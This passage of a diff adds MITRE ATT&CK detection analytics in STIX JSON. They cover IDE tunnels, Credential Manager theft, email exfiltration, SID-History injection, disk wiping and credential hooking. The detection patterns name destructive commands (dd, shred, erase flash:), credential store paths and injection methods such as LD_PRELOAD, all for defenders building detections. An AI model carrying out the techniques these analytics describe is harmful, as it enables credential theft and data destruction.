across developer environments" + }, + { + "field": "TunnelArtifactPath", + "description": "The filepath to the .vscode-cli/code_tunnel.json file may vary by distribution or IDE version" + }, + { + "field": "CommandLineFlags", + "description": "Different IDEs or wrapper scripts may launch with different tunnel-related CLI options (e.g., --remote, --host)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1a93a610-7389-4ea7-a053-e99d35a5477a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0133#AN0377", + "external_id": "AN0377" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0377", + "description": "Detection of JetBrains or VSCode tunnel profile creation followed by unusual persistent SSH or IDE-based tunnel communications to devtunnel APIs.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process: code or jetbrains-gateway launching with --tunnel or --remote" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:unifiedlog", + "channel": "creation of ~/.vscode-cli/code_tunnel.json" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "HTTPs connection to tunnels.api.visualstudio.com" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Helps scope tunnel launch context to non-interactive or suspicious parent processes." + }, + { + "field": "RemoteTunnelPersistence", + "description": "Allows tracking of tunnel re-establishment across reboots for persistence." + }, + { + "field": "RemoteFlag", + "description": "May include values like --remote, -R, or embedded ssh arguments passed by IDEs" + }, + { + "field": "LaunchAgentPath", + "description": "If the IDE uses persistence via LaunchAgents, defenders may choose where to monitor for tunnel auto-launching" + }, + { + "field": "TunnelReconnectInterval", + "description": "Frequency of retry attempts for tunnel reconnection can affect correlation window" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--207b58a9-7e3b-41ca-bb5a-c66b24210a83", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0134#AN0378", + "external_id": "AN0378" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0378", + "description": "Detects unauthorized access to Windows Credential Manager through anomalous process execution (vaultcmd.exe, rundll32.exe keymgr.dll), suspicious API calls (CredEnumerateA), or direct file access to Credential Locker files. Correlates process creation with subsequent file reads of .vcrd/.vpol files under user Credential Locker directories.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredPaths", + "description": "Credential Locker paths such as %Systemdrive%\\Users\\*\\AppData\\Local\\Microsoft\\Credentials and %Systemdrive%\\Users\\*\\AppData\\Local\\Microsoft\\Vault" + }, + { + "field": "TimeWindow", + "description": "Correlation window between process execution, file access, and API calls" + }, + { + "field": "PrivilegedUsers", + "description": "Baseline of expected administrative/service accounts with legitimate Credential Manager access" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--aef3d563-19f5-4d52-b7ad-4c4abadcb568", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0135#AN0379", + "external_id": "AN0379" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0379", + "description": "Detects unauthorized use of SMTP/IMAP/POP3 by suspicious binaries (e.g., PowerShell, rundll32) to exfiltrate data or beacon via email, often bypassing proxy or content filters.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "smtp.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessImageName", + "description": "Limit to uncommon clients (e.g., scripts or CLI tools using .NET SMTP libraries)" + }, + { + "field": "DestPortFilter", + "description": "Typically 25, 587, 993, 995, or 465 \u2013 flag anomalies" + }, + { + "field": "AttachmentType", + "description": "Flag suspicious attachments (e.g., .zip, .7z, .bin)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a311af7c-2302-4113-8cc3-d5d599fa908a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0135#AN0380", + "external_id": "AN0380" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0380", + "description": "Detects non-interactive or script-driven email transmission using tools like `sendmail`, `mailx`, or custom SMTP scripts by background processes, especially when sending attachments or large payloads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "smtp.log, conn.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TransferSizeThreshold", + "description": "Bytes transferred via SMTP session" + }, + { + "field": "ScriptNameFilter", + "description": "e.g., base64 encoded mailer scripts or one-liners in cron" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--43347e24-50d6-446e-923d-a6fd69805a22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0135#AN0381", + "external_id": "AN0381" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0381", + "description": "Detects email-sending behavior via Terminal, AppleScript, or Automator that interfaces with SMTP or IMAP, typically using curl or mail-related APIs in unsanctioned contexts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "log stream --predicate 'processImagePath CONTAINS \"curl\" OR \"osascript\"'" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:osquery", + "channel": "socket_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Monitor non-mail client users initiating SMTP/IMAP" + }, + { + "field": "TimeWindow", + "description": "Look for execution of mail commands during off-hours" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--784b7a50-cdc5-4161-8b52-2be5e5de19ac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0135#AN0382", + "external_id": "AN0382" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0382", + "description": "Detects hosts transmitting large volumes of SMTP, IMAP, or POP3 traffic to external IPs or relays that aren't associated with the enterprise mail infrastructure.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "smtp.log, conn.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExternalMailRelayFilter", + "description": "Dest IPs not matching sanctioned SMTP/IMAP relays" + }, + { + "field": "OutflowToInflowRatio", + "description": "Outbound email bytes vastly exceed response" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c061d938-cafa-4e9d-8729-29d63ba633ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0136#AN0383", + "external_id": "AN0383" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0383", + "description": "Detection of unauthorized modification of Active Directory SID-History attributes to escalate privileges. This chain involves: (1) privileged operations or API calls to DsAddSidHistory or related AD modification functions, (2) observed attribute changes in SID-History (Event ID 5136), (3) new logon sessions where the token includes unexpected or privileged SID-History values, and (4) follow-on resource access using elevated privileges derived from SID-History injection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "WinEventLog:Security", + "channel": "EventCode=5136" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "WinEventLog:Security", + "channel": "EventCode=4720, 4738" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Directory-Services-SAM", + "channel": "api_call: Calls to DsAddSidHistory or related RPC operations" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedSIDHistoryChanges", + "description": "Approved migration windows or known SID-History population events." + }, + { + "field": "TimeWindow", + "description": "Correlation window between attribute change and suspicious logon activity (default 15\u201330 minutes)." + }, + { + "field": "PrivilegedSIDList", + "description": "List of sensitive SIDs (e.g., Enterprise Admins, Domain Admins) that should never appear in SID-History." + }, + { + "field": "UserContextFilter", + "description": "Exclude trusted migration service accounts or pre-approved administrative tasks." + }, + { + "field": "AnomalousSIDCountThreshold", + "description": "Raise alerts when a token contains more than X SID-History entries (default X=2)." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5dc85538-115c-4c56-878a-39caaba91e74", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0137#AN0384", + "external_id": "AN0384" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0384", + "description": "Unusual direct disk access attempts (e.g., use of \\\\.\\PhysicalDrive notation), abnormal writes to MBR/boot sectors, and installation of kernel drivers that grant raw disk access. Correlate anomalous process creation with disk modification attempts and driver loads.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--b5d0492b-cda4-421c-8e51-ed2b8d85c5d0", + "name": "WinEventLog:Security", + "channel": "EventCode=4673" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08", + "name": "WinEventLog:Sysmon", + "channel": "Raw disk write access via \\\\.\\PhysicalDrive* or \\\\.\\C:" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=6" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessWhitelist", + "description": "Legitimate disk imaging or backup tools may trigger raw disk access \u2014 must be excluded per environment." + }, + { + "field": "TimeWindow", + "description": "Correlate disk access, driver load, and process execution within a short timeframe to minimize false positives." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d442d480-cfb9-43cc-b959-2f81513b432d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0137#AN0385", + "external_id": "AN0385" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0385", + "description": "Processes invoking destructive commands (dd, shred, wipe) with raw device targets (e.g., /dev/sda, /dev/nvme0n1). Detect direct writes to disk partitions and abnormal superblock or bootloader modifications. Correlate shell execution with subsequent block device I/O.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--73ff2dcc-24b1-4368-b9dc-706dd9e68354", + "name": "auditd:SYSCALL", + "channel": "open/write syscalls on /dev/sd* or /dev/nvme*" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "Execution of dd, shred, wipe targeting block devices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetDevices", + "description": "Tune to exclude removable drives or test partitions commonly written by administrators." + }, + { + "field": "EntropyThreshold", + "description": "Detects large blocks of pseudorandom data being written; may need tuning for backup/crypto workloads." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2016853a-07eb-4df4-a471-69b55f82b34d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0137#AN0386", + "external_id": "AN0386" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0386", + "description": "Abnormal invocation of diskutil, asr, or low-level APIs (IOKit) to erase/partition drives. Correlate process execution with unified log entries showing destructive disk operations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "diskutil eraseDisk / asr restore with destructive flags" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08", + "name": "macos:unifiedlog", + "channel": "IOKit disk write calls targeting raw devices" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AdminToolWhitelist", + "description": "System administrators may legitimately use diskutil/asr for provisioning \u2014 whitelist by user or context." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8faa753d-ec3f-4694-9a33-03ce4ccb722f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0137#AN0387", + "external_id": "AN0387" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0387", + "description": "Execution of destructive CLI commands such as 'erase startup-config', 'erase flash:' or 'format disk' on routers/switches. Detect privilege level escalation preceding destructive commands.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:cli", + "channel": "erase flash:, erase startup-config, format disk" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "networkdevice:syslog", + "channel": "User privilege escalation to level 15/root prior to destructive commands" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PrivilegedUsers", + "description": "Tune to exclude approved maintenance sessions by known administrators." + }, + { + "field": "CommandPatterns", + "description": "Adjust monitored destructive command list depending on device vendor and OS." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f3478623-5b5c-482e-96f1-6b225ff8fa70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0138#AN0388", + "external_id": "AN0388" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0388", + "description": "Execution of InstallUtil.exe from .NET framework directories with arguments specifying non-standard or attacker-supplied assemblies, especially when followed by suspicious child process creation or script execution. Detection also includes correlation of newly created binaries prior to InstallUtil invocation and anomalous command-line usage compared to historical baselines.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InstallUtilPathRegex", + "description": "Regex pattern for InstallUtil.exe in .NET directories; tune to exclude known good administrative scripts" + }, + { + "field": "AssemblyPathRegex", + "description": "Patterns for identifying suspicious assemblies (e.g., in temp folders, user profiles)" + }, + { + "field": "ChildProcessList", + "description": "List of suspicious child processes spawned from InstallUtil.exe (e.g., cmd.exe, powershell.exe, rundll32.exe)" + }, + { + "field": "TimeWindow", + "description": "Time correlation window between file creation of assembly and its execution via InstallUtil.exe" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--89e3c3a3-249e-4af3-8885-92c228d88b02", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0139#AN0389", + "external_id": "AN0389" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0389", + "description": "Detects credential harvesting via userland API hooking (e.g., SetWindowsHookEx, IAT, or inline patching) by correlating memory modifications with hook installation functions and suspicious module loads in credential-sensitive processes like lsass.exe, explorer.exe, or winlogon.exe.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=8" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetProcess", + "description": "Credential-sensitive targets (e.g., explorer.exe, winlogon.exe) may vary by environment" + }, + { + "field": "AccessMask", + "description": "Tuning for access rights like 0x1FFFFF for full access vs. thread injection" + }, + { + "field": "TimeWindow", + "description": "Correlate memory access and hook setup in short windows (5\u201310 seconds)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c031c27b-4d05-406a-8538-04ce1df41d35", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0139#AN0390", + "external_id": "AN0390" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0390", + "description": "Detects credential interception via malicious LD_PRELOAD-based shared libraries loaded into ssh, sudo, or scp processes. Correlates environment variable injection, unexpected library loads, and memory patching behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "auditd:SYSCALL", + "channel": "LD_PRELOAD Logging" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InjectedLibraryName", + "description": "Watch for user-defined suspicious .so files (e.g., libhook.so, libshadow.so)" + }, + { + "field": "TargetProcessName", + "description": "Hooked binaries vary by use case (e.g., ssh, login, gdm)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b8141218-1f71-4b65-a611-7c9c55038c4c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0139#AN0391", + "external_id": "AN0391" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0391", + "description": "Detects DYLD_INSERT_LIBRARIES abuse to hook credential-sensitive applications by correlating process spawns with unauthorized library injection and monitoring changes to the __TEXT segment (code) of credential handling binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:unifiedlog", + "channel": "DYLD event subsystem" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "fs:fsusage", + "channel": "File Access Monitor" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96", + "name": "macos:osquery", + "channel": "Memory Mappings" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DYLDInjectedPath", + "description": "Tunable based on naming patterns or location of malicious dylibs" + }, + { + "field": "ParentProcessName", + "description": "Hooking attempts may stem from terminal.app, bash, or AppleScript-based launchers" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b1ee9791-91f8-4788-9e08-c40eedbcf08b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": 